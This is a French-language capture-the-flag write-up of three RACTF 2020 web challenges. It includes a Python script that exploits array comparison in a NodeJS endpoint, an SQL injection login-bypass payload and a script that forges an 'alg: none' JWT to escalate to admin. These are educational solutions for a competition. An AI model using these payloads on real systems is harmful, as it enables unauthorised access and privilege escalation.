RACTF2020 - Catégorie Web (web)

Voici des solutions de quelques challenges web que j'ai eu le temps de résoudre durant le *Really Awesome CTF 2020*. On y retrouve plusieurs vulnérabilités assez connues et facile à exploiter. ![](https://media.giphy.com/media/5xtDarqlsEW6F7F14Fq/giphy.gif) # c0llide? L'index du site nous affiche le code source de son application NodeJS. Rapidement, on aperçois rapidement une vulnérabilité, due à une comparaison de paramètres HTTP. Solution: En JavaScript, une comparaison de deux tableau identique renvoie toujours *false*: Car ils ne sont pas du même objet, malgré qu'ils soient identiques. Ce qui nous permet de déjoué le test `one === two` puis `one == two`, et d'accéder à la partie cachée de façon illégitime. ```js app.post('/getflag', (req, res) => { console.log("[-] Getflag post") if (!req.body) {return res.send("400")} let one = req.body.one let two = req.body.two if (!one || !two) { return res.send("400") } if ((one.length !== two.length) || (one === two)) { return res.send("Strings are either too different or not different enough") } one = customhash.hash(secret_key + one) two = customhash.hash(secret_key + two) if (one == two) { return res.send(flag) } else { return res.send(`${one} did not match ${two}!`) } }) ``` Ainsi on envoie un objet JSON, contenant les attributs `one` et `two` auquel sont associés des tableaux. ```js #!/usr/bin/python import requests r = requests.post("http://88.198.219.20:48991/getflag", json={"one": [], "two": []}) print(r.text) ``` ![enter image description here](https://snipboard.io/rG5bvI.jpg) # Quarantine ![enter image description here](https://snipboard.io/6Kgj1c.jpg) Quarantine est un site permettant d'accéder à des vidéos privées; cependant il nous est impossible de d'accéder à l'espace privé du site, car les inscriptions sont fermées. J'ai donc tenter de voir si je pouvais déjouer l'authentification du site, par une injection SQL comme c'est souvent le cas. ![](https://media.giphy.com/media/102h4wsmCG2s12/giphy.gif) `1' OR '1'='1' LIMIT 1--` Aucun utilisateur avec le pseudonyme "1" n'est supposé exister, alors la requête SQL se poursuis avec `OR '1'=1'` une égalité vraie, pour finir avec `LIMIT 1` , sélectionnant qu'une entrée, et `--` qui commente le reste de la requête initiale. ![enter image description here](https://snipboard.io/ZadsWw.jpg) Et nous y voilà, nous y sommes; dans la partie privée du site. ![enter image description here](https://snipboard.io/zu43Ra.jpg) # Getting admin Il s'agit du même site que le challenge précédent; cependant cette fois, il faut parvenir à accéder à la partie administrateur du site. On regarde nos cookies, et on aperçois `auth` contenant un token JWT. ![enter image description here](https://snipboard.io/bjOiPv.jpg) On essaye de savoir de quel type d'algorithme est utilisé pour ce token JWT. ![enter image description here](https://snipboard.io/EyAJqM.jpg) On récupère les données qu'il contient. C'est - à - dire, le nom de l'utilisateur, et son privilège. ![d](https://i.snipboard.io/12BCKQ.jpg) Nous n'avons plus qu'à changer le privilège et générer un nouveau token JWT sans spécifier d'algorithme. ```py #!/usr/bin/python import jwt print(jwt.encode({"user": "Harry", "privilege": 2}, "", algorithm="none")) ``` ![](https://i.snipboard.io/pfTR8F.jpg)